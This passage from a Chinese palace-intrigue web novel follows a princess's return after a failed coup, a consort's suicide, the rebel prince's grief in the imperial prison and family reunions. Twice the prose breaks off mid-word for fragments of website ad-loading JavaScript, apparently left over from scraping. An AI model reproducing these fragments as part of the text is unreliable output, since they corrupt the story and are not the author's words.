承武帝看着眼前娇俏可人的宁玉瑶,满是慈爱,他轻轻抚着她的发髻,说道:“高兴,瑶儿这次可是立了大功。” “瑶儿才不在乎什么功呢,瑶儿只要舅舅高兴就好。”宁玉瑶撅着嘴,提到立功,她突然想起进城时雁京大街上的惨状,情绪又有些低落,“舅舅,是不是瑶儿太过冒进,才逼得宣王铤而走险?若是瑶儿小心行事徐徐图之,雁京会不会不死这么多人?” “瑶儿怎么会这么想?”承武帝知道宁玉瑶心软,尽管这孩子在外手刃了无数苍荻人,这场宫变恐怕还是吓到她了。 宁玉瑶蔫蔫地趴在龙榻边沿,思绪万千。苍荻人是苍荻人,她下手的时候心中没有多少波澜,可这里是生她养她的大宸,是家中长辈用命守护的大宸。 她重活一世,就是不想让雁京再重蹈覆辙,结果好像还是险些酿成大祸。 她不敢想若是秦将军没有及时赶到,雁京会不会又像上一世一般沦为尸山火海。若是再晚来一步,舅母的德清宫会不会被叛军攻破。 皇后看着宁玉瑶无精打采的样子,心疼地搂着她,“乱臣贼子犯上作乱怎么能怪你呢,只能怪他们心术不正!” “皇后说得对,”承武帝轻声安慰她,“瑶儿放心,朕虽然事先并不知晓祁晖珉勾结苍荻之事,但对他早有防备。此次虽被他打得有些措手不及,不过你要相信舅舅。舅舅的后手已在路上,即便秦柏没有提前归来,他们也断难得逞。” 承武帝本以为大儿子只是野心勃勃,一心觊觎皇位,却万万没想到他竟然愚蠢到这般地步,竟然与苍狄私通。此举无异于与虎谋皮。 “真的吗?”宁玉瑶打起精神。 “自然是真的,舅舅什么时候骗过你。”承武帝嘴角含笑。 宁玉瑶歪着脑袋认真思索了片刻,尽管她不清楚舅舅的后手究竟是什么,她也明白有些事情不是自己能够知晓的。不过舅舅确实从未欺骗过她,想到这里,她的脸上再度绽放出灿烂的笑容。 看见宁玉瑶重新笑了起来,祁晖琅赶紧凑过来,趴在宁玉瑶身边,连声问道:“阿姐阿姐,苍荻国都和雁京哪个更繁华?” 不待宁玉瑶回答,他自己又迫不及待地赶紧说道:“肯定是雁京!小小苍荻怎么比得上大宸!” “那是自然!”宁玉瑶骄傲地应和道。 两姐弟在一旁叽叽喳喳地吹嘘着大宸的繁华。承武帝看向一直在旁边若有所思的太子,问道:“珏儿在想什么?” 祁晖珏回神,恭敬地回答道:“父皇,儿臣在想,阿姐这次能顺利混进朱家,最后还能成功逃出苍荻,多亏了苍荻的户籍制度漏洞和路引不完善帮了阿姐大忙。” “嗯。”承武帝微微点头,他明白儿子的意思。这事若是放在别的国家,他们可以适度加以利用,从中寻觅可乘之机。然而对于大宸来说,还是需要完善相关的政策才行。 而先帝在位的那些年,大宸在这方面也与苍荻相差无几,才让苍荻有机可乘。这些年虽然在慢慢完善,但还是有许多不足之处。 承武帝静静思索许久,才缓缓道:“这事便交给你了。” “遵旨。”祁晖珏躬身领命,虽然大宸领土辽阔,要完成此事绝非易事,但无论多么艰难,他都会想尽办法去做到,绝不能再让大宸留下任何隐患。 一旁的宁玉瑶也想起了那本名册,她的脸上露出些许疑惑,“舅舅,我带回来的信件当中,似乎并没有那么多倒戈的官员,为何这次却有如此多的人听从宣王的号令?” 承武帝阖上眼,沉默了片刻,才缓缓说道:“那些人造反与苍狄并无关联,只是单纯想要从龙之功罢了。就比如京翼卫的金展,论才能,上比不上秦柏、李皓,下又不如秦熠、宁璟瑞和李家兄弟。在这样的处境下,他自然只能铤而走险博上一博。” 过了许久,承武帝轻声叹息:“年轻一辈本来还有个方敏策……可惜了……” 众人闻言亦心情沉重。 此次宫变,方敏策本御敌有功,可惜方廷峪里通外敌。如此一来,方敏策不但得不到嘉奖,还有可能性命不保。 宁玉瑶心里也很不好受,她不久前刚刚知晓,原来在城门口救下哥哥的那个年轻人竟然是方敏策。而她却带回了方敏策父亲通敌叛国的证物,如此看来,怎么都像是自己在恩将仇报。 承武帝也听暗卫提过城门前发生的事,但此事基本无法转圜。通敌叛国乃是满门抄斩的重罪,瑶儿也是知道这一点才没有开口求情。 他微微抬眸,看向苏德茂。 苏德茂会意,连忙上前一步,“陛下,娘娘,晚膳已经备好了,现在可要传膳?” 祁晖珏在后面轻轻地踢了弟弟的屁股一脚,七岁的祁晖琅也不再是当初那个什么都不懂的孩子。他赶紧把宁玉瑶拉起来,“阿姐,快去用膳吧,这两日我天天都跟着白熊吃草,真是饿坏了。” “真的呀,你一喊饿我也有些饿了。”宁玉瑶闻言,立即跟着起身,“不知道今日有些什么好吃的?” 皇后没有拆穿小儿子来乾元殿前吃了一碟子肉脯,对宁玉瑶笑道:“舅母特意吩咐了,保准都是你喜爱的菜肴。” “太好了!”宁玉瑶欢呼起来,她转身对不能起身的承武帝行礼,“舅舅,瑶儿先行告退。” “快去吧。”承武帝宠溺地笑着摆摆手,瑶儿就该一直这般天真无忧,旁的事情有他们这些长辈操心便好。 宁玉瑶扶着皇后一同向外走去,祁晖珏带着弟弟行礼后也一起退下。 还没出门,祁晖琅就胆大包天地在哥哥的屁股上拍了一巴掌,气哼哼地说道:“让你踢我!” 祁晖珏垂眸看着矮墩墩的弟弟,轻声说道:“你是不是忘了,阿姐过几日就要回长公主府了。” 祁晖琅一听,顿时大惊失色。他心里很清楚,阿姐在的时候,虽然会逗他玩,可皇兄揍他的时候,阿姐也能护着他。一旦等阿姐不在宫中了,皇兄收拾他的时候更加没有顾忌。 想到这里,他不敢再挑衅兄长,赶紧夹着尾巴冲到宁玉瑶身边,拉着她的手,讨好般地问道:“阿姐,你要不要再宫里多住一段时间。” 皇后一看小儿子这模样,就知道他在想什么,定是又招惹了大儿子,来找瑶儿庇佑。 她伸手戳了戳儿子的头,“不长记性!” “不行哦,”宁玉瑶亦看出这小子肯定又惹祸了,她只能表示爱莫能助,“我想念爹爹和兄嫂,也该回去陪陪他们了。” 她早就知道皇后并非真的受到惊吓,当时只是担心她闹着要跟熠哥哥去苍荻,这才哄着她留下。但她更清楚皇后对她的爱护之心,便打算留在宫中多陪皇后几日再回府。 祁晖琅也明白自己是异想天开,只得垂着头跟在阿姐身边,装模作样般地叹了口气,皇后和宁玉瑶对视一眼,两人眼中都满是笑意。 他们走进膳堂,桌上果然全都是宁玉瑶喜欢的菜肴,其中还有宁玉瑶在冰川中时心心念念的八珍羊烩。 以前常来宫中用膳时,宁玉瑶并不觉得这些菜肴有何特殊之处,然而如今在外吃了一年的粗茶淡饭,再次品尝到这些美味,她不由得感慨道:“还是御厨的手艺最佳。” 皇后心疼地看着宁玉瑶,以往让瑶儿多吃两口都得连哄带骗的,现在不用哄就吃了这么多,可见这孩子在外吃了多少苦,“过几日回府时带上几个御厨,想吃什么就让他们做。” “谢舅母赏赐。”宁玉瑶毫不客气地应下。 皇后慈爱地看着她,柔声道:“什么赏赐不赏赐的,每个御厨擅长的菜品都不一样,你要是吃腻了那几个直接跟白珊说,让御膳房换几个过去。” “好。”宁玉瑶乖巧地应下。 用过膳回到德清宫,宁玉瑶便如往常般趴在皇后膝上,与皇后小声说着她在小谷村的趣事。 但吃饱喝足的宁玉瑶很快开始犯困,她的眼皮越来越沉,就连什么时候睡到床上都不知道。 再睁眼时,窗外依旧阴沉沉的,不知现在是何时辰,宁玉瑶在铺着华贵锦被的柔软大床上惬意地滚了一圈。 外间的人听到动静,轻手轻脚地掀开床幔,“郡主,您醒了。” “青黛,青筱。”宁玉瑶惊喜地坐起身来,“你们何时进宫的?” “天亮就来了。”青黛将床幔仔细地挂在金钩上,其实她们昨夜一整晚都等在宫外,只等宫门一开,她们就立即迫不及待地进来。 宁渊担心女儿不习惯宫女伺候,便将女儿惯用的婢女送进宫来伺候着。她们当时得知郡主回来了,不知道有多高兴。 青筱扶着宁玉瑶下床,脸上又是哭又是笑,“郡主您回来可真是太好了,奴婢好想您。” “我也想你们呀。”宁玉瑶点了点青筱通红的鼻尖,“你们不在的时候我连头发都不会梳,每日都乱糟糟的,活像个乞儿。” “郡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主真是说笑了,哪有您这么好看的乞儿。”青黛拿起玉梳,轻轻梳理着宁玉瑶的秀发。那头曾经精心养护的青丝如今有了些许毛躁,这让她自责不已。 她拿起养发膏,细细地抹上每一根发丝,然后才轻柔地梳成一个飞仙髻,“以后您无论去哪儿可都要带上奴婢。有奴婢们在身边,您什么都不用做。” “那是自然,谁都比不上你们。” 久别重逢的主仆三人正谈笑间,白珊走进来,她神情凝重:“郡主,淑妃娘娘薨了。” 宁玉瑶脸上的笑容瞬间消失,惊愕地小声问道:“什么时候的事?” 白珊亦压低声音,“今儿早上,淑妃娘娘身边的宫女发现的。” “这么突然,昨晚也没听见叫太医的声音。”宁玉瑶皱着眉头,虽然她昨晚睡得很沉,但这段时日养成的习惯,让她稍有风吹草动就能醒来,可她很确定昨晚没有任何动静。 她抬头望向白珊,却见白珊轻轻摇了摇头。虽然没有明说,但宁玉瑶瞬间明白了她的意思,身体健康的淑妃娘娘并非病逝,那就只有一个可能。 ——淑妃是自尽的。 宁玉瑶一时之间竟不知该说些什么。淑妃出身名门谢家,家族荣耀,她又诞下了皇长子,在后宫之中,除皇后之外,她可以说是地位最为尊崇之人。 然而如今,她的母家涉嫌谋害太子,她的儿子更是谋逆犯上,更为严重的是,他们还勾结苍荻谋害皇帝。即便宣王是皇子,这种情况下,也绝没有被饶恕的可能。可以说,淑妃已经没有了半点活着的希望。 宁玉瑶示意青黛将发髻上艳丽的头面拆去。 虽然大皇子谋逆,但陛下还未来得及降罪于淑妃,此时的淑妃依旧是四妃之首。于情于理,宁玉瑶都应该前去吊唁。 宁玉瑶换了身衣裳,望向外面,鹅毛般的大雪飘落着。她这才恍悟,难怪明明是白天,屋内却依旧如此昏暗。 待她走进正殿,皇后看见她反而愣了一瞬,随后招手示意她过去,“怎么穿得这么素静?” “不是说淑妃……”宁玉瑶犹豫着开口。 “原来为了这事。”皇后轻笑一声,“舅母让白珊过去告诉你,是怕惊着你,但陛下特意吩咐了,你不用过去。” 淑妃虽然可怜,但她儿子可是亲自下令截杀瑶儿。若是让阿姐知道让瑶儿去吊唁了淑妃,恐怕能去掘了谢家的祖坟。 宁玉瑶懵懂地点头,心中虽有疑惑,但也明白舅舅和舅母都是为了她好。 皇后抚着她的脸颊,柔声道:“事发突然,这阵子你先回家住着,免得不长眼的奴才冲撞了你。等过些时日你生辰时再进宫,舅母给你大办一场。” 宁玉瑶被皇后哄着应下,又稀里糊涂地带着几车衣裳料子、珠宝头面和几名御厨出了宫。 等她站在长公主府前时,还有些恍惚,脑袋里思绪纷乱,没想明白这些事情。 宁渊撑着伞现在门前,看见她这般模样,不禁打趣道:“乖女儿在想什么呢?看见爹难道不高兴?” 宁玉瑶这才回过神来,连忙快步跑过去,抱住宁渊的胳膊,“爹爹,您怎么在这里?” 昨日刚平息叛乱,宁渊身为御林军统领,按理说应该十分忙碌才是。 “今早陛下遣人送来消息,让爹把你安顿好再进宫。”宁渊一边说着,一边带着宁玉瑶往诚国公府走去。“这些时日你娘不在,你先住爹这边。” 两府都有她的闺房,对于住在哪里宁玉瑶并不在意。她挽着宁渊的手臂,轻声问道:“爹爹,我不去淑妃那边真的没事吗?御史不会拿这事参您吗?” “不会的。”宁渊笑道,“今日早朝时,陛下拿出了你从苍荻带回来的信件书册。如今此事在雁京城内已经传遍了。人人都知晓我们的明安郡主在苍荻国都大闹了一场。这种时候,谁敢拿你说事?” “怎么今日有早朝?舅舅能起身了吗?”宁玉瑶没管自己的事,一听到舅舅居然还上朝,顿时撅着嘴,满脸不高兴,明明舅舅昨日还很虚弱呢。 宁渊看着女儿这般模样,不禁失笑,“今日也是有要事,陛下不得不上朝。你放心吧,那些劳心劳力的事情都有太子和臣子们效劳,不会累着陛下的。” 既然爹爹说没事,宁玉瑶便放下心来。 他们踏进诚国公府,扎着两个小角的宁雅娴就从花廊下冲了过来。 宁雅娴满脸兴奋,在雪花中奔跑,口中不停喊着:“姑姑,姑姑!” 她一路飞奔,快到宁渊和宁玉瑶身前时才堪堪停下脚步,乖巧地对着宁渊唤了一声:“祖父。” 宁渊微笑着点头,拍去她头上的雪花。 宁雅娴这才转头,紧紧抱住宁玉瑶的腰,清脆的声音中带着一点哽咽:“姑姑,娴儿好想你。” 八岁的小姑娘,个头已经快到宁玉瑶的胸口了。 宁玉瑶温柔地拍了拍宁雅娴的后背,轻声哄道:“姑姑已经回来了,姑姑也很想娴儿。” 四岁的宁宣博慢了姐姐几步,一路小跑着过来。他一来就听到姑姑说想姐姐,赶紧在宁玉瑶身边跳着问道:“博儿呢,博儿呢。” 宁玉瑶赶紧按住不停蹦跶的侄子,笑着说道:“都想都想。” 宁渊笑着看着三个孩子玩闹,眼中满是慈爱。他对抱着幼子姗姗来迟的儿子儿媳交代道:“你们陪着瑶儿,为父先出去了。” “是,父亲。”宁璟瑞和姜婉珍恭敬应道。 “爹,您去忙吧,不用担心我。”宁玉瑶被两个孩子缠得紧紧的,抽空扭头看了一眼宁渊。 宁渊拍拍宁玉瑶的头,转身离开国公府。 叛乱初平,宁渊确实事务繁多,不过他先要去一趟天牢。 114.传言 天牢乃是大宸用来关押皇亲贵族,以及犯下最为严重罪行的朝中大臣的地方。其位置极为隐秘,无人知晓它究竟建在何处。 天牢内每一间监牢都十分逼仄,寻常女子站在里面都必须弯腰,如此艰难的通行条件,想要在这里劫狱更是难于登天。 祁晖珉从没想过自己竟会有一日被关进天牢,这里伸手不见五指,没有一丝光线。 天牢中弥漫着老鼠死后腐败的恶臭,混杂着各种排泄物堆积在一起散发出来的刺鼻味道。每一次呼吸,都让祁晖珉几欲呕吐。 他不知道自己被关进这暗无天日的地方有多久,但他不可能就这样认命,他可是父皇的长子,他相信自己肯定不会有事的。 “来人呐!”祁晖珉扯着嗓子,“派人去找父皇,儿子知道错了,求父皇开恩,快来人呐!” 他一遍又一遍地呼喊着,然而他没有等来狱卒,只有不远处的监牢中,传来了一个疯疯癫癫的声音。 “嘻嘻嘻,我是国舅,我姐姐是太后,我女儿是皇后,嘻嘻嘻,看见我身上穿的锦缎没,这可是太后娘娘特意赏给本国舅的。” 祁晖珉听着这声音,只觉得有些耳熟,却一时间怎么也想不起来说话之人究竟是谁。 而自从被关进来后便一直一言不发,安静得仿佛不存在的发妻谢氏,此时却像是突然被惊醒了一般,从角落里爬了起来。冲着声音的方向大声喊着:“爹!是你吗?爹?” 祁晖珉错愕地仔细倾听着那道疯癫的声音,自从谢家被长公主围了之后,谢昌定便下落不明,没想到被关在了这天牢中。 “皇后娘娘,皇后娘娘来看老臣了?”伴随着镣铐拖行在地上发出的刺耳声音,谢昌定的声音似乎又大了些,“娘娘,今日可是又有什么赏赐?昨儿娘娘赏给老臣的琼浆,老臣还舍不得喝呢!” “爹……”谢氏声音哽咽地呼唤着,谢昌定却沉浸在他的国舅美梦中,对谢氏的声音充耳不闻。 没用的废物,居然这样就撑不住疯了。 祁晖珉仗着这黑暗的天牢中无人能够看见他的表情,毫不掩饰脸上的轻蔑之色。 不再去管那边的父女二人,祁晖珉继续大声地呼唤着狱卒,他坚信只要见到父皇,父皇就会心软放他出去。 原本寂静的天牢中,顿时一片嘈杂。 就在这嘈杂声中,传来了一阵铁锁被打开的声音。紧接着一列狱卒举着火把,走进了关押着祁晖珉的监牢。 祁晖珉被这突如其来的火光照得眼睛一阵刺痛,他忍不住用手捂住了眼睛,过了片刻才缓缓放下手。 他的目光落在了因天牢太过逼仄而直不起腰,却被狱卒恭恭敬敬地请坐在椅子上的宁渊身上。 “诚国公,是不是父皇要见我?”祁晖珉心中燃起一丝希望,他不愿对着宁渊弯腰,便席地而坐,向宁渊问道。 然而在火光的映照下,他这才看清监牢的地上满是老鼠的死尸。那恶心的场景让他顿时一阵反胃,他连忙爬起身来,被迫对宁渊低下了头。 “本国公是来报丧的。”宁渊面色阴沉。 “报丧?”祁晖珉有些诧异,他想到了什么,脸上不由自主地浮现出一抹不易察觉的笑意。但很快,他强行将笑意压下,故作悲痛地放声大哭,“父皇!” “祁晖珉!”宁渊一脸肃容,打断了他假惺惺的嚎哭声,“淑妃娘娘薨了。” 祁晖珉愣在了原地,似乎有些不敢相信自己的耳朵,“你说什么?” “淑妃娘娘薨了。” “你放屁!”祁晖珉听闻宁渊的话,顿时勃然大怒,他瞪大了眼睛,眼中满是血丝,如同一头被激怒的野兽,怒吼着要往宁渊身上扑去,“母妃历来身体健康,怎么可能突然去世,你一定是在说谎!” 然而他刚一有所动作,就被国公府的侍卫迅按倒在地。他拼命地挣扎着,试图摆脱侍卫的控制。 他的脸上满是狰狞,“是不是你们!是不是你们要为宁玉瑶报仇!你们这群卑鄙小人!有事冲我来!为什么要对我母妃下手!” “昨夜娘娘在琳云宫自缢。”宁渊冷漠地开口,他垂眸看着额上青筋暴起的祁晖珉,眼神中没有丝毫怜悯,“你当真不知为什么吗?” 祁晖珉仰头看着宁渊,脸上的表情渐渐凝固,面无表情的宁渊让他心中涌起一股寒意,他渐渐冷静下来。 他的母妃善良温柔,即便出身在满是算计的百年谢家,不管如何被教养,她也依旧天真不知世事。之前谢家被围,她惊慌失措得不知如何是好,这次…… “呵呵……”祁晖珉的额头紧贴在脏污的地面上,低声笑着,笑声中只有无尽悲凉,“死了……罢了,死了也好……” 是啊,死了才干净。死了就不用再每日担惊受怕,也不用再受人搓磨。 一旁的谢氏在听到淑妃薨逝的消息后,不再呼唤谢昌定,又如同她刚进来时那般,抱着腿静静地坐在草堆上。 想起谢家,她不禁苦笑,什么百年谢家,早已不复存在。 她幼时便常常听祖父叹息,谢家嫡子愚钝不堪,难以承担家族的重任,嫡女怯懦,那些晚辈更是顽劣成性,毫无出息可言,谢家早已后继无人。 祖父并非没有野心,否则也不会将姑母送进宫中。然而姑母莫说帮扶谢家,能自己好好活着都多亏了皇后的仁德。 儿子和女儿都没有什么出息,重现谢家的荣光无望,祖父郁郁而终。 却没想到,祖父的野心在他的外孙身上显现出来。若是祖父还在世…… 谢氏闭上眼睛,将头埋在双膝上,她不敢让宁渊看出自己心中的想法。 若是祖父还在世,或许以祖父的能力,可以助宣王成事,重振谢家的辉煌。 可惜,没有假若。 宣王败了,谢家倒了,这或许就是谢家的命。 祁晖珉趴在那冰冷脏污的地上,默默流泪,此时他心中五味杂陈。 后悔吗?他也不清楚。他一直以为自己有着足够的谋略和手段,然而最终却还是失败了。成王败寇,这是千古不变的道理,他只是棋差一招,便落得如此下场。 他抬起头,双目赤红,视线模糊地看着站起身来准备离开的宁渊。 “诚国公。”祁晖珉连忙出声叫住他。 宁渊听到声音停下脚步,静静地站在那里,没有回头。 “可否让我去母妃灵前尽孝?”祁晖珉的声音嘶哑得厉害,充满了恳求。 宁渊依旧没有说话,但不再停留,带着侍卫离开了天牢。 祁晖珉黯然地垂下了头,他知道,或许一直到死,父皇都不会再允许他离开这天牢。 随着监牢的门再次被锁上,那金属碰撞的声音在寂静的天牢中回荡。天牢中又恢复了往日死一般的寂静。就连疯癫的谢昌定也没有再发出半点声音。 祁晖珉独自趴在地上,一动不动,任由周围的黑暗将他吞噬。 宁渊微微弯腰走出天牢。谁也不知道,雁京最神秘莫测的天牢入口,竟然隐藏在皇城里的一座假山下。 内侍上前恭敬地服侍宁渊脱下身上脏污的斗篷,轻声禀报:“国公,陛下在乾元殿等您。” 宁渊颔首,立即率人前往乾元殿。 当他匆匆赶到乾元殿,承武帝正虚弱地倚靠在龙榻上,手中把玩着一颗拳头大的夜明珠。 “参见陛下。”宁渊走进殿内,恭敬行礼。 承武帝听到声音,侧首看了眼宁渊,然后将手中的夜明珠递给了一旁的苏德茂,脸上带着淡淡的笑意,说道:“两个孩子说要把这颗祈月珠进献于朕,朕倒觉得这珠子更适合明安,宁爱卿稍后便带回去吧。” 宁渊双手接过装着祈月珠的木匣,再次行礼:“谢陛下赏赐。” “什么赏赐不赏赐的。”承武帝轻轻摆手,脸上的笑容中带着一丝不易察觉的意味。 他们都心知肚明,若不是瑶儿在那儿,就秦熠粗枝大叶的性子,保准注意不到这颗珠子。臭小子是特地费劲拿来讨心上人欢心的东西,他没必要夺人所好。 宁渊看着承武帝,见他半阖着眼,满脸疲惫,立即躬身道:“陛下,臣先告退。” “退下吧。” 宁渊手中拿着那装有祈月珠的木匣,缓缓走出皇城。 仅仅一日的功夫,雁京已经被清扫干净,而大街上却依旧显得冷冷清清。放眼望去,只有身穿铠甲的兵士们在街上不停地穿梭着。 经过国公府,宁渊将手中的木匣递给了府中的管事,“交给郡主,顺便告诉郡主,这几日京中近来不太平,尽量别出门。” 管事恭敬应下。 这些时日还需要全力抓捕残党余孽,在将叛贼清理干净之前,瑶儿还是乖乖待在家中比较好。 好在宁玉瑶在外奔波了一年,好不容易回到家中,也并不是很想出去。 此时她正坐在烧着火龙的花厅中,身边围着三个孩子。 宁璟瑞的幼子宁宣泽在宁玉瑶离开时还不到半岁,一年过去,如今两岁的他并不认识自己的亲姑姑。 原本见到宁玉瑶时,他还有些胆怯,但是身为宁雅娴和宁宣博最喜欢的姑姑,宁玉瑶对付一个两岁的小娃儿自然是手到擒来。不过一天的功夫,宁宣泽便和姐姐哥哥一样,跟在宁玉瑶身后寸步不离。 此刻,四个小脑袋凑在一起,眼紧紧地盯着宁玉瑶手中打开的木匣。 宁雅娴和宁宣博看到木匣中的祈月珠时,同时“哇”了一声。宁宣泽不知道姐姐和哥哥在“哇”什么,他左右看看,也跟着奶声奶气地“哇”了一声。 这可爱的模样,让宁玉瑶忍不住好笑地揉了揉他的小脑袋。 姜婉珍和侍女们在旁边看着这一幕,都努力憋着笑。 “好大的夜明珠呀!”宁雅娴小心翼翼地伸出手触摸祈月珠。 宁玉瑶见状,直接将祈月珠拿出来放在宁雅娴的手上,笑着说道:“不用那么小心。” 宁雅娴捧着祈月珠,看看宁玉瑶,又看看姜婉珍,然后慢慢地走到娘亲身前:“娘,您看,好大的夜明珠呀!比您的那颗还要大呢。” “小心别摔坏了。”姜婉珍托着宁雅娴的手,与女儿一同赏玩这颗硕大的夜明珠。 “无碍,又不值几个钱。”宁玉瑶笑意盈盈地摆摆手,她并不觉得这颗珠子有多么珍贵,为了不教坏家里的孩子,她便没说这珠子是偷来的。 “快收起来吧。”姜婉珍即便知道珠子是宁玉瑶从苍荻偷回来的,也不敢真的让孩子们弄坏了这颗价值连城的夜明珠。欣赏了一会儿后,她便让宁雅娴将珠子物归原主。 宁玉瑶笑着接过珠子,将珠子递给青黛拿去闺房中收起来。 过了片刻,青黛匆匆返回花厅,手中还拿着一封信,“郡主,是沈小姐给您的信。” “小鱼儿?”宁玉瑶立刻直起身来,脸上露出惊喜的神色。她连忙拆开信件,嘴里还念叨着:“小鱼儿怎么知道我回来了。” “明安郡主回京救驾的消息可是传遍了雁京,”姜婉珍捂着嘴轻轻笑着,“而且越传越邪乎,市井传言都说明安郡主被叛军逼得跳崖,结果在崖底习得绝世武功,直到学成之后才飞出悬崖,于万人之中取苍荻王首级,然后缩地成寸回到雁京,在千钧一发之际救下了陛下。” “啊?”宁玉瑶还没来得及看信件的内容,就被嫂嫂口中离奇的传说惊得目瞪口呆,“怎么传成这样了。” 姜婉珍看到她这副模样,忍不住被逗笑了,“传话的人就是这样的,每个都爱夸大一点,到最后就会传得面目全非。你看着吧,等到最后说不定你就能成九天仙女下凡了。” 宁玉瑶不敢继续听下去了,她赶紧举起手中的信件挡住自己绯红的脸。 很快,她的心神就放在了信纸上。信纸上的字迹扭曲,少许地方还有被水浸湿的痕迹,一看就知写信之人当时情绪十分激动。 宁玉瑶叹息着轻抚被泪水氤开的地方,鼻尖有些发酸。 姜婉珍见她这副模样,挥了挥手,让侍女将孩子们带下去。然后走到宁玉瑶身边,轻轻搂住她。 宁玉瑶抬头看着姜婉珍,扯起嘴角笑了笑,“嫂嫂,我没事,小鱼儿说她明年二月大婚,我很高兴。” “嗯,沈姑娘许的人家是孙太傅的长孙。”姜婉珍轻声道。 宁玉瑶并不奇怪嫂嫂会知道这些,身为当家主母,各家嫁娶的消息必须灵通。 “嫂嫂可知道这位孙公子为人如何?” 姜婉珍微笑着回答道:“孙公子去年秋闱高中榜眼,我虽没见过,但父亲和夫君都夸他才思敏捷,为人清正,难得的一表人材。” “那便好。”宁玉瑶这才放下心来。否则她真怕小鱼儿刚从她表哥那个虎口中脱离出来,又跳进另一个火坑中。 姜婉珍笑盈盈地看着宁玉瑶,她没说的是,沈家小姐因为玉瑶的事,伤心得不能自已。 去年,许多好儿郎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家请媒人上门,她没有半点犹豫就让母亲拒了,直到今年孙老夫人亲自带着媒人上门,沈小姐才点头应下婚事。 孙老夫人知道沈小姐与明安郡主最为要好,做主将婚事定在明年二月,本是想多给沈小姐一些时间平复心情,却没想到如今等到玉瑶平安归来,可谓是皆大欢喜。 “嫂嫂,小鱼儿说五日后来看望我。”宁玉瑶掰着手指算了算,五日后,淑妃便会下葬,这估计已经是小鱼儿挑出来最早的时间了。 姜婉珍含笑应下。 直到淑妃下葬的那一日,宁玉瑶自始至终都没有露面。在这期间,不管是负责丧仪事宜的礼部官员,还是那些时刻准备着挑刺的御史们,都缄默不语。 淑妃的丧仪一切从简,完全没有往日妃嫔丧礼的隆重。按照历来的规矩,妃嫔死后将会下旨追封,以淑妃的家世地位,再加上她养育皇嗣之功,应被追封为皇后。 然而承武帝却仿佛完全忘记了这件事一般,礼部的官员们也十分识趣,没有一个人敢去提醒皇上。 淑妃便这般冷冷清清地下葬了。 相比这件大事,宁玉瑶不吊唁淑妃这等小事简直不值一提。 淑妃下葬后,天牢内传出消息,宣王似乎患上了癔症。承武帝知道后,也只是冷漠地说了一句:“知道了。” 往后便再也没有提起过这个儿子。 自此,连续搜查多日的雁京叛贼已全部清剿。下了多日的大雪也终于停下,天空开始放晴,雁京街道上的百姓们也陆陆续续走出家门。 随着雁京街道上逐渐恢复了往日的人声鼎沸,宁玉瑶的心情也如同这逐渐热闹起来的街道一般,越来越好。整个诚国公府的气氛也愈发轻松愉悦,之前笼罩在府中的阴霾都被一扫而空。 今日明安郡主要会客,天还未亮,他们就起来将府中里里外外洒扫得一尘不染,务必让明安郡主不管走到哪里,都能舒心。 宁玉瑶也起了个大早,想到一年未见的好友她就再也没有睡意。 另一边,沈瑜同样也很想念宁玉瑶。天刚破晓,沈夫人就看到女儿已经穿戴整齐,准备出门了。 她愁眉不展,“哪有天不亮就上门拜访的,太失礼了。” “娘,放心吧,玉瑶不会在意的。”沈瑜急切地她已经等了这么多时日了,一刻也不想再等。 “罢了罢了。”沈夫人无奈地叹了口气,她知道女儿跟明安郡主关系亲昵,郡主流落在苍荻的这一年,女儿不知道为她流了多少眼泪,担心了多少个日夜。现在郡主平安归来,女儿想早些去看看好友,也是人之常情。 沈瑜笑嘻嘻地从马车中探出头来,向母亲挥别,然后一叠声地吩咐车夫:“快快出发!” 沈夫人摇了摇头,看着女儿的马车渐渐远去。女儿家关系好是一件好事,她也不打算多说什么。 沈府的马车在沈瑜的不断催促下,以一种超乎常理的速度飞奔到了诚国公府。 好在天还未亮,街上并无多少行人,否则明日早朝沈大人又要被参上几本教女不严,纵容马车上街疾行的折子。 马车刚刚停稳,沈瑜就迫不及待地直接跳下车来。 恰在此时,被宁玉瑶催着出来等候的青黛也踏出了府门。 她连忙迎上来,“沈小姐您来了,郡主已经盼了好长时间了。” “玉瑶也起了?”沈瑜跟着青黛快步往后院走去。 “何止起了,郡主可是激动得差点一晚没睡呢。”青黛轻笑。 “真的呀。”沈瑜闻言更是高兴。 等到了花厅,宁玉瑶早已站在门口等候着。 “玉瑶!”沈瑜小跑过去,一下子抱住了她,心中千言万语,想要说些什么,却已泣不成声。 宁玉瑶轻拍她的背,温柔地哄道:“我没事,你看我这不是好好回来了吗。” 一旁的侍女们也赶紧劝道:“郡主,沈小姐,天凉,先进屋吧。” 沈瑜擦掉自己脸上的眼泪,摸摸宁玉瑶冰凉的手,心中一阵心疼,连忙拉着她进屋:“你怎么站在门口等我,着凉了可怎么办。” “放心,我现在身体可好着呢。”宁玉瑶带着她躺在软榻上。 沈瑜挨着宁玉瑶,突然笑道:“我都忘了,明安郡主如今可武力超群,力能扛鼎,刀枪不入的神人了。” “怎么传到你那便成这样了!”宁玉瑶错愕,她翻身压在沈瑜身上,假装生气地说:“好你个小鱼儿,你又不是不认识我,还拿这些市井传闻来打趣我!” “就是认识你才有意思呢。”沈瑜哈哈大笑,“快说说,你在苍荻到底发生了何事?” 关于苍荻一行,宁玉瑶已经口述了无数次。从一开始的兴致勃勃,到现在的痛苦不堪,她甚至想过要不要著本书,每人送上一本,这样也省得她每次都要自己来讲了。 不过现在书还没著成,小鱼儿又想听,她便只能再面无表情地讲了一遍。 即便宁玉瑶讲得干干巴巴,没有什么波澜起伏,但沈瑜也听得入迷,一时间花厅内惊呼不断。 等再次讲完,宁玉瑶双目无神地瘫倒在软榻上。 沈瑜连忙端来茶水,“我们玉瑶真是辛苦了,快来喝杯茶。” 宁玉瑶就着她的手喝了一口,润了润嗓子,然后问道:“我的事说完了,你呢,这一年过得可好?” “我天天在家大门不出二门不迈,有什么不好的。”沈瑜将茶盏交给侍女,又趴回宁玉瑶身边。 宁玉瑶正色问道:“那你可曾见过孙家公子?” 沈瑜这才知道好友在担心什么,她羞涩笑道:“放心吧,孙公子不是表哥那样的人。” 见她这模样,宁玉瑶便知道她上了心,既然小鱼儿自己也满意,宁玉瑶彻底放下心来。 心神松懈之下,宁玉瑶轻轻打了个呵欠。 沈瑜见她这般困倦的模样,也跟着打了个呵欠。 二人相视一笑,宁玉瑶拉着沈瑜的手,“既然困了,不如陪我小睡一会儿。” 沈瑜轻笑着点头。 